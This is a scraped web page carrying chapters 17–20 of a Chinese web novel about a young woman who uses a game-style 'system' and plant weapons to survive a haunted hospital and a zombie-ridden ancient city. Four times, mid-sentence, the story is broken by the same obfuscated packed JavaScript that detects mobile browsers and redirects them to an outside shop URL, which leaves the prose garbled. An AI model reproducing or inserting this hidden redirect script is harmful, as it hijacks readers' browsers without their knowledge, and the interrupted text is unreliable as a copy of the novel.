低温末世的最后几天,祁安安被冻疮折磨得进退不能,恨不得把手上的肉全剜掉才算痛快。 浑浑噩噩过了好几天,气温终于低到了零下90℃。 这是气象台昨天给出的预计结果。今天所有电台都失去了消息,不知道是祁安安手里的这台收音机坏掉罢工了,还是别的什么原因。 祁安安没工夫想,更没力气去想。 零下九十度是什么概念,所有室外的活物都无法存活,室内的人类没有火源,也会在短时间变成冰雕。 祁安安哆哆嗦嗦地躲在被子里,每一次呼吸都在眼前形成一道肉眼可见的白雾,仔细一看还有小冰晶。 她所有心神都在床边的两个锅里,两锅沸腾的热水里。 蓄满开水的暖水袋,祁安安在被子里放了足足8个,每15分钟就要更换一遍,少了一个,对应的部位就立刻发寒发僵。 她已经不清楚自己这样坚持了有多久,只知道自己在某一刻突然陷入黑暗。然后半梦半醒间,她听到了那道熟悉的电子音。 【恭喜宿主成功存活,完成极寒末世三个月存活任务。】 【新手末世世界任务已完成,100积分已到账。】 【兑换商城已解锁,下次任务会在一周后开启,请宿主做好准备。】 【欢迎回到现实世界。】 睁开眼睛前,祁安安脑中突然掠过一幅画面,是她熟悉的十字路口,阴沉沉的天色下,周围五光十色的广告牌和彩灯仿佛被套上了一层诡绿的滤镜,灰蒙蒙绿惨惨的色调,仿佛上个世纪港式鬼片的经典画面。 这是什么? 17. 第 17 章 祁安安恢复意识时,发现自己正站在十字口的路中间。 刺耳的刹车声响在耳边,大卡车急刹在身侧,发动机带过的热气灼的皮肤生疼。 卡车上探出一个男人的脑袋,双眼猩红像只狂躁的野兽,他暴躁地大吼:“走路不会看路?上赶着来老子车前面找死,信不信撞死你啊!” 但明明,远处的绿灯还剩下十几秒。 这么视线一扫,让祁安安看清了路对面的行人。 男男女女老老少少,全都背着光冷着脸,没什么表情地直勾勾盯着她,一张张脸笼罩在黑影下,仿佛郁了一层浓浓的黑气。竟是和脑海里那幅画面诡异的相似。 目光一凝,她看见卡车上罩着的塑料布被风吹开,一个长方形的东西漏了出来。 那是棺材。 那竟然是一辆送殡车。 祁安安冷汗唰一下铺满后背,难以言喻的恐惧在心头漫开,她双腿发软,强撑起身子在司机的怒骂声中跑开。 闷着头一直跑出去100多米,直到身边被人声鼎沸的热闹包围,她这才鼓起勇气,回头看了看。 十字路口车水马龙井然有序,仿佛刚刚发生的一切都只是她的幻觉。但一种莫名的、难言的阴冷如影随形,盯得她脊背发凉。 祁安安狠狠掐了一把手心,然后在脑子里召唤系统。 “我刚刚看到的是什么?” 那究竟是什么?会是这个世界的末世前兆吗? 【滴,宿主权限不足,暂时无法告知。】 没有答案吗…… 祁安安眼中闪过一抹沉思,她站在路灯下,说:“开启商城查看。” 小屋和草坪的平面图被调出,花里胡哨的商城界面在眼前打开。 琳琅满目的几十种植物映入眼帘。 祁安安粗略地看了看,豌豆射手,大嘴花,坚果墙……,都是她在游戏中熟悉的植物。 准备关闭商城之前,她发现在商城的左下角有个很不起眼的小类别,上面写着货币兑换四个字,点开之后,在她面前出现两个空格框,左边的单位是积分,右侧的单位是软妹币。 她试着在积分那格写了个1,结果右侧立刻跳出来换算后的数字:10000软妹币。在后面,还出现一个是否确认兑换的选项。 1积分可以兑换10000软妹币?! 还有这种好事。 祁安安心中意动,但还是要先确认一遍。 “积分可以换成我们这里的货币?如果大量兑换会不会对我有风险?” 祁安安可不想好好的因为洗钱帮信抓进去,她可是遵纪守法好公民。 【兑换后的货币会以合理方式直接存入宿主银行账户,不会引起任何问题。】 “那真好。” 拥有系统后,祁安安难得真心实意对它有了几分感激。 没办法,谁让她是个苦逼命苦的穷鬼,一万块够她连轴转打两个月工了。 这种感觉,就像是你被黑心老板骗去某某园区,差点以为人和命都要交待进去。结果虽然九死一生,但抚恤金不少。 祁安安甚至想给系统打个五星好评。 坑就坑一点吧,100积分可是实打实的一百万啊,谁和钱过不去。 如果没有刚刚发生的异常,这一百积分,她保守要兑出不少软妹币,但—— 祁安安认真规划了一遍,最后打开了抽抽乐。 先给自己准备点护身符吧。 祁安安也是阔气了,两发抽抽乐,五十积分眼都不眨的投进池子里。 “等等。” 在许愿池转动前,祁安安掏出自己饱经风霜的老款手机,打开微博,一连转发了十条锦鲤。 “好的继续吧。” 【……】 许愿池中光华流转,几秒钟后,两个光团缓缓浮现。 【滴,恭喜获得永久植物路灯花。】 【滴,恭喜获得土豆雷(一次性体验卡)x8。】 “我天!”祁安安嘴巴张得老大,站在路灯下握紧拳头开心地乱蹦! 好在如今大家的精神世界都比较美丽,大街上的人早就见怪不怪。 要不然祁安安高低要被投到“迷惑行为大赏”讨论几百楼。 这就是非极必欧吗? 抽了四次,一发永久植物,三发体验卡,居然没有一次空军。 绝了绝了! 祁安安美滋滋地打开了两个植物的介绍。 【路灯花,价格:5积分/小时,生命值:100,状态:可种植/佩戴,属性:开雾/照明,以自身为中心,照亮5x5m区域,并对范围敌人造成20/秒伤害。】 【土豆雷,状态:可种植/佩戴,属性:种植一段时间后接触到敌人时爆炸,对1x1m区域敌人造成1000点伤害。】 土豆雷算个范围伤害武器,终于路灯花—— 祁安安把三行介绍来回研究了好几遍。 这颗植物,似乎有点鸡肋啊。 而且20点伤害? 那不和痒痒挠差不多,再加上照明属性,一旦使用,黑夜里出来个锃光瓦亮的大灯泡,那不是告诉敌人“向我开炮”吗? 不太行,不太妙。 祁安安思来想去,决定先把路灯花压箱底。 关闭了许愿池,祁安安切回商城,然后毫不犹豫在积分框里输进去一个10,并按下确认。 手机屏幕一闪,银行发来信息10万元已经到账。 —— 祁安安看着面前灯火通明的医院,轻轻叹了口气。她先去医院的缴费处,把养母拖欠的医疗费结清,又往账户上充值了2000块,刚到手的10万块钱也就一分不剩。 她在原生世界的身份算得上天崩开局,没爹没娘从小就被扔进了个不太正规的孤儿院,逞凶斗狠到8岁,被一对好心的夫妇收养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404624|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也就是现在的养父养母。 养父养母为人和善,只可惜身体不好,相继患上了重病。养父在三年前离世,紧接着是养母,两个病人一下子把这个不太富裕的小家拖垮,祁安安只能一边兼顾学业,一边努力挣钱。 钱是一毛一块的挣,给医院却是几千几万的交。 祁母不得不从ICU转到普通病房,然后是医院的走廊上。 祁安安按下住院部的电梯,指示灯闪了闪,电梯从地下一楼开始往上升。 负一楼,好像是太平间的位置。 五分钟过去,电梯迟迟没有升上来。祁安安伸手摸了摸胳膊,这里不知不觉起了一大片鸡皮疙瘩,今天医院的冷气似乎开得格外足。 而且,她扭头看了看,晚上九点的住院楼似乎不应该这么安静。 就在此刻,在负一楼停了许久的电梯,终于运行上来。电梯门缓慢打开,里面站着一个垂着头的护士,手边的病床上放着一个空荡荡的尸袋。 一开门,一股怪味扑鼻而来,祁安安使劲嗅了嗅,空气里弥漫着一股浓稠、阴冷、潮湿、腥臭的血味。 电梯空间很大,护士低着头特意往里让了让,似乎在邀请她进去。 “……” 祁安安表情还算淡定,但身体却是诚实的后退三步。 我勒个豆,大妹子你意欲何为! 祁安安毫不犹豫打开背包佩戴上一颗土豆雷,同时小心翼翼的和眼前这个诡异的护士对峙。 土豆雷需要30秒准备时间,她得保证自己在这三十秒内不会被一击秒了。 电梯里的女护士一直低着头,直到电梯缓缓合上,她都没有别的动作,祁安安甚至要怀疑自己刚刚闻到的是不是幻觉。 今晚的一切都有点太过古怪,祁安安挪到墙角,试图理清目前的线索。 十字路口的送殡车,住院部的女护士…… 被唯物主义熏陶了二十年的她,脑子里不由地升起一个荒谬的猜测—— 她该不会是见鬼了吧。 祁安安天不怕地不怕,唯一怵的就是鬼。 心理阴影来自孤儿院的时光,照顾他们的护工颇有恶趣味,总是会把睡前甜甜的童话故事,换成惊奇诡谲的灵异故事。 一群小屁孩们哆哆嗦嗦地抱在一起,迎来了一天中最团结和睦的时光。 祁安安只记得那时整宿整宿睡不着觉的痛苦,还有持续到现在,每次走夜路都疑神疑鬼提心吊胆的害怕。 她原生世界的末日类型,千万不要是灵异类啊啊啊啊啊啊啊!!!!! 一个小女孩就这么轻轻地碎掉了。 几分钟后,祁安安苦大仇深地站在岔路口上,向左是电梯,向右是楼梯。 而她必须上去,祁母等着她送晚饭,而且今晚的情况,她很担心睡在医院走廊上的养母。 她必须上去看看。 思虑再三,祁安安最终选择了楼梯。 18. 第 18 章 祁母的病房在住院部八楼,祁安安看着明亮的楼梯口,用力捏紧了手中的小土豆蛋子。 这是她刚刚使用并准备好的土豆雷,圆咕隆咚的土豆蛋子似乎感受到了她的紧张,用圆钝的板牙啃了啃她的掌心。 祁安安深呼一口气,心中莫名安定了一点,然后抬步踏上了楼梯。 —— 祁安安气喘吁吁地站在走廊上,穿的短袖上满是冷汗。 她体能还不错,八楼不算多大的负担,走上楼梯没多久,她就听到身后响起了一阵急促、拖拉的脚步声。 听起来像是某个行动不便的人一直跟在后面。 听到背后的脚步声后,祁安安第一时间加快了速度,不论是人是鬼,这种情况下她都不想和对方有任何交流。 然而在她全力快速爬上两层楼后,身后的脚步声没有消失,反而更近了。更糟糕的是,头顶的感应灯在闪了两次后,彻底熄灭。 一开始脚步声像是从远处传来的,起码隔了一层楼的距离。 而现在,脚步声逐步逼近,十米、三米、一米。 直到最后,它近到你忍不住回头。 一道道阴冷的气息在楼梯里盘旋。 打旋的阴风,忽然从楼道的前头、后头刮来,周身的黑暗里仿佛在涌动些什么,在这一刻,仿佛这里永远也走不到尽头。 扑通、扑通。 无限延长的楼道里,气压越来越低,压得人快喘不过气来,黑暗里的东西越来越近。 那……那到底是什么东西? 莫名的恐惧在往上蔓延,耳朵里突然涌入一阵尖锐的笑声。 祁安安痛苦地闭上双眼,不知道什么时候,她失去了身体的控制权,只能像个木偶一般傻愣愣地站在原地。 她却能怪异地感受到,身后多了一个‘人’。 那‘人’正紧紧地贴在她的肩头,不停地朝她脸上吹气,散发冷气的手,指甲从腰部往上划,因为衣物隔着,暂时无法接触到活人的身体。 然而,指甲越来越往上,再往上,就是裸/露着的脖子。 砰砰砰。 急促的心跳重若擂鼓,在安静的楼梯里格外响亮。 道具! 她手里的土豆雷为何迟迟没有反应? 虚空中的面板里,祁安安尝试了无数次,把身后的诡东西设为敌人,然而弹出的提示框却是一次又一次的失败提醒。 【检索不到目标,请稍后再试。】 面对看不见的敌人,连系统都无能为力。 祁安安已经能清晰地感受到,那‘人’尖锐的指甲已经碰到了她的大动脉,要到此为止了吗…… 下一秒,一声微不可见的叹息在耳边响起,祁安安身上突然爆发出一道明亮温暖的光。 一声怨毒的尖叫响起,身后的‘人’消失得无影无踪,楼梯上的黑暗争先恐后地向外翻涌。 同一时间,祁安安的面板弹出提示:【路灯花佩戴成功】。 后面跟着一个不断跳动的小方块,里面是正在缓慢扣除的积分。 路灯花的作用不止于此,祁安安借着它释放的淡淡光芒,看清了眼前的景象。 感应灯熄灭的时候,她不是没尝试过使用手电筒。然而最大功率的设备被打开,不仅照不透眼前的黑暗,反而让藏在里面的东西更加兴奋。 有了光源,她看清了指示牌。 往上面是负一层的楼号,黑得深不见底,渗透出丝丝缕缕的黑气;往下面则是标着二楼的楼号,脖子上缠着红绳的女鬼护士,睁着一双眼白充斥血丝的眼睛,守在那里警惕又怨毒地盯着她。 毫无疑问,如果刚刚不是系统帮她启动了路灯花,无论是向上还是向下,祁安安绝对都难逃一劫。 她在心里对他道了声谢,然后飞快把鬼女设置为敌人。 这一次没有再弹出失败的弹窗,手中的土豆雷头顶指示红灯一闪一闪,跃跃欲试。 做好准备,祁安安看着胸口微微发光的路灯花勋章,迈出脚步朝着女鬼护士的方向,向下方的二楼而去。 一步、两步、三步……,祁安安面不改色地迈动步子,和鬼女的距离越来越近。 鬼女好奇地扭过头,以一种极为扭曲的姿态看着她,通道的温度似乎又往下直线降了好几度。阴冷怨毒的气息在楼道里盘旋,往外冒血的朱砂绳周围鬼气若隐若现。 诡物惧光,刚刚祁安安身上爆发出的光芒确实让她一惊,但这会功夫鬼女也咂摸出味来,祁安安身上的光对她有伤害,但不多。 鬣狗会因为小虫子放弃猎物吗,显然不会,下一秒,黑漆漆的人影闪过,鬼女拖拉着脚步冲了过来。 祁安安的视角里,鬼女的血条不断闪烁。 【-20,-20,-20……】然后“嘭”的一声,在接近她周身一米的范围后,瞄准了目标的土豆雷应声而炸。 【-1000。】 鬼女阴险、恶毒的尖锐笑声戛然而止,变成了一道足以刺穿耳膜的惨叫。 这一击炸掉了她一半的血条,鬼女嘴里发出无意义的嘶吼声,它的身体以肉眼可见的速度在虚化,周围的黑暗翻涌上去,似乎想要趁机吞噬她。 鬼女眼中闪过一抹怨毒的不甘,却只能在祁安安不断靠近时,狼狈地收拾身影离开。 —— 眼前的挡路诡除去一个,祁安安也不敢在楼梯多加逗留,她深深的看了一眼向上的负一层,然后坚定的迈出了向下的步伐。 有路灯花的保护,祁安安揣着一颗新的土豆蛋子,不知道在黑漆漆的楼道里兜了多少圈子,终于眼前一亮,回到了现实世界。 来到八楼,病房全都熄了灯,祁安安打开手机看了一眼,时间不知不觉居然跳到了午夜两点。 她踏入楼梯的时候看过时间,清楚记得是九点二十七分。 在楼梯里,她不仅被模糊了空间,而且连时间的概念也被修改。 这显然不是鬼女能做到的,地下一层到底藏着些什么? 祁安安心里藏着一万个疑惑,她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430630|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试着问系统,可这家伙三缄其口只会装死。 算了,祁安安守在祁母床前,悄悄趴了下来。 这一晚她不敢睡太死,生怕再出现什么异常,不过好在,那些诡异好像暂时被困在了楼梯和电梯,走廊还是安全的。 医院的清晨总是格外早,祁安安睡得不好一大早就醒了。她打完水,找到走廊的死角,从小屋里拿出一份清淡的早餐。 回来的时候,祁母也醒了,她虚弱的撑起一抹笑问:“昨天几点回来的?怎么不多休息一会儿?” 祁安安拿出几个抱枕把她扶起来:“导师留我加班,回来晚了。他还介绍了个新项目组,听说工资和补贴都不少。而且我刚问了护士,有床位要空出来,咱们下午就能搬进病房里。” “这……,这”一连串的惊喜砸下来,祁母脑袋里晕晕乎乎,她嘴上拒绝:“我住在走廊挺好的,没必要搬进去,有钱你攒着,多买两身衣服,多为自己打算。” 祁安安没说话,只是静静地把小桌板支好,拿出保温桶里的饭菜。 祁母知道这个养女心里主意大,她开了好几次口,祁安安都只是笑笑,没接她的话,就知道搬进病房这事已经定下了。 她又熨帖又心疼。 祁母刚做完一场大手术精力不足,吃完饭没多久就又沉沉地睡了过去。 祁安安打开了社交软件,想要得到更多的信息。 热搜榜上还是老样子,新晋小花出了爆剧,某某影帝被拍恋情……,祁安安一路滑到同城,终于看到了自己想要的内容。 【孩子三天前晚十一点在第一人民医院住院部失踪,求帮忙转发扩散。】 下面的评论看热闹居多。 ——十八岁又不是八岁,这不是走丢,应该是离家出走吧,把他生活费停掉就老实了。 ——医院监控比派出所都多,花点工夫好好看看应该会有线索。 ——我有印象。那天电梯超载了,他好像有急事跑去走了楼梯,查查那边的监控呢? 祁安安尝试着联系了博主,不知道是不在线,暂时没有得到回复。 昨天使用路灯花消耗了三个积分,祁安安想着干脆凑个整,又兑换了两万软妹币。 她在社交软件转来转去,加了一个自称茅山道士的高人,花3000块买了朱砂,桃木剑,黑驴蹄子,还有一罐黑狗血。 同城速寄,两小时就到。 下午的时候,病房里腾出一张病床,祁母搬了进去,祁安安找清洁阿姨要了几张打包用的保温泡沫,垫在地上铺了个毯子做陪床。 虽然诡异停留在楼梯,但她还是不放心,在祁母的枕头和床垫下压了不少铜钱、符纸、小桃木剑。 接下来的几天时间,祁安安全部选择在白天时离开医院,并在太阳落山前及时赶回。 在极寒末世,她囤的物资留下一半,剩下的新鲜蔬菜、肉类、水果、牛奶、鸡蛋这些也没剩多少。 当务之急还是要把小屋再次填得满满当当,这样才能有安全感。 19. 第 19 章 祁安安清点完系统仓库剩下的物资后,便有针对性地列出了购物清单,开始囤货。 时间紧迫,资金有限,她又没有车,只能苦了自己的双腿。 每隔两天她都会离开医院出去采购一趟,第一家是全国有名的大型仓储式超市。 祁安安在这里主要补充一些水果和熟食,整箱装的苹果、梨和橘子各来一箱。 祁安安恋恋不舍的看了好半天美味的草莓和榴莲,最后还是狠狠心推着车离开了。 她眼珠一转,开始骚扰系统:“宝贝统统~,下回能不能安排个积分多又简单的世界啊,你看我穷的连饭都快吃不起了QAQ” 系统:【呕……】 【正常点,让别人听到了以为我是多不正经的系统!】 祁安安第一次从系统身上感受到了类人的情绪,她来了兴致,继续逗弄起来:“系系~,统统~,统哥~” 【……】 不搭理她? 嘻嘻。 祁安安乐呵呵地推着购物车继续往前逛,家庭装烤鸡腿x3,原味瑞士卷x1,抹茶芝士蛋糕x3,原味混合坚果x2,抹茶芝士蛋糕x2,预制小龙虾麻辣和蒜蓉口味的各x4。 她最喜欢这家的黄油鸡蛋卷,是特别酥脆的鸡蛋香,祁安安竭力控制着自己,一口气拿了十盒,扫光了半个货架。还有超级好吃的榛子威化,她对这种酥酥脆脆咯吱咯吱的小东西真的没有抵抗力,又拿了两盒威化,还有一大包(1.5kg)的冻干果蔬脆。 最后是配料表干净的橙汁和番茄汁各来了一箱。 两天后她去了位于居民区的水站,上个世界到处都是雪,囤的水消耗不大,但不一定每个世界都有这种好运,祁安安就又采购了10大桶(5L装)饮用水。 最后一天,祁安安在软件叫了两个跑腿,帮她一大早去郊区的菜场里买肉。 如果不是楼梯电梯里有两个诡东西挡着,祁安安是要自己去的,但没办法,还是小命要紧。 郊区的菜场是全市最大的肉类食品集散地,每天都有新鲜的肉类被运来,然后送往各个超市。 赶早去不仅新鲜,而且价格还合适,祁安安让骑手小哥帮买了新鲜的牛里脊、上脑、吊龙,还有五花三层的极品五花肉,一半整切,另一半打成肉丝肉片肉馅,方便她后期处理取用。 祁安安还想再搞点防身物品,可惜她的原生世界对各种武器管控非常严格,她跑了一下午也只买到了几小瓶汽油。 祁安安逛了好久,最后采购了两个多功能逃生包。 防雨又厚实的大容量背包里面装有干粮、急救毯、救生口哨、防滑手套、防风打火机、逃生绳、灭火毯、过滤式呼吸器和多功能折叠铲,比小屋的野外生存包更加全面。 祁安安把一个放在小屋,另一个放在了医院祁母床边,以防万一。 虽然——,如果是诡异入侵的话,逃生背包可能用处不大。 祁安安想了想,把买回来的符咒往背包里塞了一半,这才稍稍放下心来。 她做这一切的时候,祁母就坐在病床上含笑地看着。祁安安交待的东西,她也温柔的表示全部记住了,还很认真的把所有物品的作用都一一了解清楚。 因为祁安安这一周守在身边细心照顾,再加上伙食大大提升,祁母脸上有了不少血色,医生说再观察几天就能出院了。 祁安安看着她吃过晚饭睡下,随手拿出一本户外生存书翻了几页。 时针转到九的位置,祁安安闭上眼睛,恢复意识时,她发现周围全是古色古香的建筑,有身穿粗布短打的行人在面前经过。 这是哪儿,影视基地吗? “安娘……”有人在她身旁低唤了一声,是一道清朗的男声,“可是累了,要不来路边的茶水铺里歇歇脚?” 他说着,没有伸手,却蹲下挑起了她脚边的担子。 祁安安还没接收世界人物的信息,有些弄不清楚眼下的状况。 但在看到身旁这个男生的脸时,脑中却多了些关于对方的记忆,他叫蒋方虎,是她的竹马,这里也不是影视基地,而是完完全全的古代。 姗姗来迟的系统终于给出了任务信息。 【第二个任务世界已开启,任务等级:C级。 世界类型:古代战乱末世(&*#)。 投放时间:城破前30分钟。 世界任务:1,保护祁安安的家人(按人数结算,每位100积分。) 2,三个月内到达京城(完成可获得100积分,提前到达可获得额外奖励)。 世界任务失败则抹杀。】 祁安安一边为系统突然的大方震惊,一边飞快接收传输来的记忆。 这个身体今年十四岁,家住城南,有一个母亲和八岁的弟弟,全家人靠地上的豆腐担子为生。 今天太守请了道士在城里开坛做法,仪式马上就要开始。 城破还有半小时,根本来不及囤货。祁安安扔下担子拔腿就跑。 “安娘你去哪?担子不要了?”蒋方虎想带邻家妹妹去茶水棚歇歇脚,没想到这丫头呆愣了一瞬间,下一秒就蹿了出去。 跟兔子一样撒手就没,他立马捡起扁担追了上去。 今天的海州城里是真的热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450959|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹,城里的一条主路被官兵清理出来,街道两旁的店铺挤满了看热闹的人群。 祁安安一边跑一边听着人群的议论,快速补全对世界的认知。 “听说了吗,叛军打到青州城,不到三天就城破了,下一个会不会是我们海州啊?” “活该,青州太守刚愎自用,早听闫天师的话,哪会被一群泥腿子打得丢盔卸甲。” “可我听说叛军里有一支铁骑,他们刀枪不入能日行千里,绝不是凡人啊!” “哼!”,人群里有个小道重重的呛声:“闫天师身怀佛、道二教之法术,待用七千七百七十七人布阵,施展六甲法。届时天兵天将下凡,就算百万叛军也不过是一合之敌。” 接下来就全是对闫天师的彩虹屁了,街上人实在太多。祁安安仗着瘦弱在人群里钻来钻去,花了好一番功夫才回到家里。 祁家门口,蒋方虎闪身把她堵住,他喘着粗气把扁担递过去,问:“安娘,这是出了什么事,你连生意都不做了?” 祁安安看着他,在心里快速分析利害。 已知这个世界是个逃荒本,她带着两个累赘且交通不便,需要帮手。 蒋方虎一家算是知根知底,而且为人老实,蒋母在家里地位也高,祁安安觉得可以救一把。 她看向少年,焦急又严肃的开口:“虎子哥,我找叔叔婶子有急事,能麻烦你帮我知会一声吗?” “真的是非常非常关紧的大事!” 蒋方虎愣住了,不过他最大的优点就是老实,看祁安安这副着急的模样没有多怀疑,点点头飞快跑走了。 城里的鼓声更急更大了,祁安安推开门,这个身体的亲娘在院子里磨豆腐,弟弟撅着屁股拿着树枝在树下写大字。 她先把破破烂烂的木门插上,然后打开家里的菜窖,把粮食和值钱的东西都转移进去。 祁母松开石磨,不解地问:“安娘,今天豆腐卖完了?咋这么早就回来了?粮食晚上还要吃勒,你收起来作甚?” 祁安安动作不停,随口敷衍:“叛军前两日不是打到青州城了,咱们得早日准备,免得遭了灾祸。” “你这丫头。”破烂木门不隔音,蒋父被儿子一路拽回来,碰巧听见这话,他捋捋胡子煞有介事地开始分析:“净说些胡话,咱们海州可是一地府城,几百年修的城墙哪怕固守,也够叛军打个三天三夜的。” “操这份闲心还不如想想你的豆腐卖完没。” 他话音刚落,西南方传来一阵喊杀声,震耳欲聋,而且越来越近,那是城门的方向。 叛军攻城。 不对,是城破了! 20. 第 20 章 “愣着干什么,收拾好粮食快躲起来!” 祁安安一声厉喝,被惊住的几人恍然回神。 蒋父慌慌张张地收拾细软,心里仍是不愿相信,远处浓烟滚滚,厮杀声通过重重院落传入耳边,但分明一刻钟前,街上还是一片歌舞升平,为何城门这么快就破了。 还有闫天师,不是说道法无边吗,怎么也不中用了。 “咚咚咚”两家相邻的院墙传来响声,祁安安放下手中的东西附耳过去。 蒋方虎的声音闷闷响起:“安娘,我家地方大,你们要不要过来一起避避?” 要是往日,两家关系再好,蒋方虎也不会轻易开这个口。他是老实又不是傻,菜窖就那么大点地方,多藏个人就多一丝暴露的可能。 但刚刚若不是祁安安,他爹娘只怕还在大街上生死未卜。他心里已经认定了这是恩情,自然想多多照拂。 祁安安想都没想便拒绝了,系统和小屋都是秘密,她还不打算这么早暴露出去。 想了想又觉得不放心,她叮嘱道:“躲好点,听到什么动静都不要贸然出来。” 远处的喊杀声更近了,两人不敢多聊,连忙各自藏了起来。 祁家的菜窖修在小院里,里面的面积大概六七平,入口大咧咧的露着,特别显眼。 趁着祁母和弟弟都惊魂未定的时候,她悄悄把小屋里大包装的面粉转移出来一些放在角落里,然后又钻出菜窖,把树下的磨盘用小屋转移了过来。 沉重的石头把菜窖盖的严严实实,也遮住了最后一丝光亮,虽然有点不太适应,但在这种时候却是格外有安全感。 菜窖里格外狭小潮湿,他们三人畏手畏脚的待在里面。 安顿下来后,祁安安在心里疯狂召唤系统,C级的世界难度让她格外在意,为什么一个古代的战乱末世难度会比现代天灾末世更高呢? 问题出在世界类型括号后的乱码上,那绝对藏着很重要的信息。 但接连召唤了好几次,系统始终杳无音讯。祁安安打开面板,积分和小屋还在,那系统是怎么回事? 他失踪故障了,自己还能回到原世界吗? 【滋啦滋啦……】 一阵细小的电流声在耳边响起,然后祁安安眼睁睁看着积分面板上,突然多了25积分,剩余积分来到了60点。 “是系统故障的补偿?” “你说句话呀!” 可以,没有回应,连电流声也没有了,装死的非常彻底。 除了呵呵,祁安安无言以对。 不过知道他没死透就好,最怕的是彻底失联,让她在任务世界待一辈子。 —— 在菜窖里没有光线就没有时间概念,只能听到头顶的土地震动几次,带着一阵喊杀声,还有一阵阵火烧过的焦味传下来。 不知道过了多久,有人肚子发出响亮的一声,窝在祁母怀里的祁晖嗫嚅的开口:“娘,我饿了。” 祁母低低的啜泣声仓促止住,她在黑暗里一阵摸索,把一块饼子掰成好几块,塞进了女儿和儿子手里。 祁安安接过咬了一口,粗粮烙成的饼子口感不太好,又干又硬咽下去还有些拉嗓子,她尝了一口就没有再吃。转而从小屋里拿出几个馒头。 “回来路上买的点心,揣了这么久还热乎呢,趁热吃些。” 祁母不疑有他,黑暗里她看不清楚手里被塞了个什么,只觉得这个又圆又软的点心,散发着一股诱人的麦香,咬下一口仔细咀嚼,甜滋滋的味道在嘴巴里弥漫。 “味道真好……,以后怕是再也吃不上了。” 说着说着,祁母悲从中来又开始无声地掉眼泪。 祁安安:“…………” 她真是服了。 在菜窖里待了大概三天,听到外面安静了些,祁安安趁着夜色偷偷溜了出去。 一轮圆月高悬,皎洁地撒下银辉,海州城里静悄悄的,没有火光,也没有人声,宛如一座死城。 她揣着土豆雷,壮着胆子走远了些。 走出一些距离,脚下触感突然有些异常,她低头一看,原来是踩到了一具尸体上。 祁安安心道一声抱歉,正要离开,却发现一丝不对劲。 这具尸体的死法很奇怪。 她一路走来看到过不少尸体,大部分都是被一刀斩首或者直插心脏,是非常干净利落的死法。 而刚刚踩到的这具尸体却格外地不一样,首先非常完整,其次尸体嘴唇微微凸起,身体干瘪、印堂发黑,看着有一丝邪意,透着十足的古怪。 祁安安拿出一双加厚的手套,借着月光小心翼翼地翻看着,她发现尸体的肩胛骨位置和脖颈靠锁骨位置都有三个洞一样的伤口,像是被三指刺进去造成的,颈侧有着一枚青紫的牙印。她按了按,坚硬无比。 吸血鬼? 不对,祁安安想起一些民间传说,再联系到古代背景,心中有了猜测。 她又拿出一小捧糯米洒在那枚牙印上,原本颗颗白亮浑圆的糯米,眨眼功夫就变得焦黑,在伤口处冒着丝丝缕缕的黑烟。 可以确信了,世界类型括号里被隐藏的文字,绝对和僵尸有关。 “唰——” 一只僵尸从近处的宅院里飞速跳出,发绿发硬的脸在月色下可怖,浑浊的眼里闪过几分人类的狡猾。 他鼻子动了动,感受到生气,目标明确的朝祁安安的方向蹦过来。 祁安安视野里,这头僵尸身披铁甲手持长刀,脑袋上顶着的血条足有4000点血,是普通人的四倍,土豆雷要连炸四次才能把他解决掉,而且速度极快,一跃就蹦到了她面前。 这是一头绿僵! 她心道一声不妙,连忙屏住呼吸。僵尸感受不到人气,左嗅嗅右嗅嗅,浑浊的眼、尖利的獠牙近在咫尺,祁安安吓得心脏都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478464|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停了,她憋得脸颊通红,额上冷汗直流。 僵尸显然是拥有了非比寻常的智慧,知晓猎物就在他身边,只是他看不见,所以他并未离开,而是在近处缓慢游走。 他料定猎物憋不住一会儿就会换气,到时候…… 祁安安脑中警钟大作,离那么近,再过几秒,她就会因迫不得已的换气,而被僵尸发现咬住脖子。 她眼珠一转,打开了系统使用路灯花体验卡,把植物种在了离自己最远的格子上。 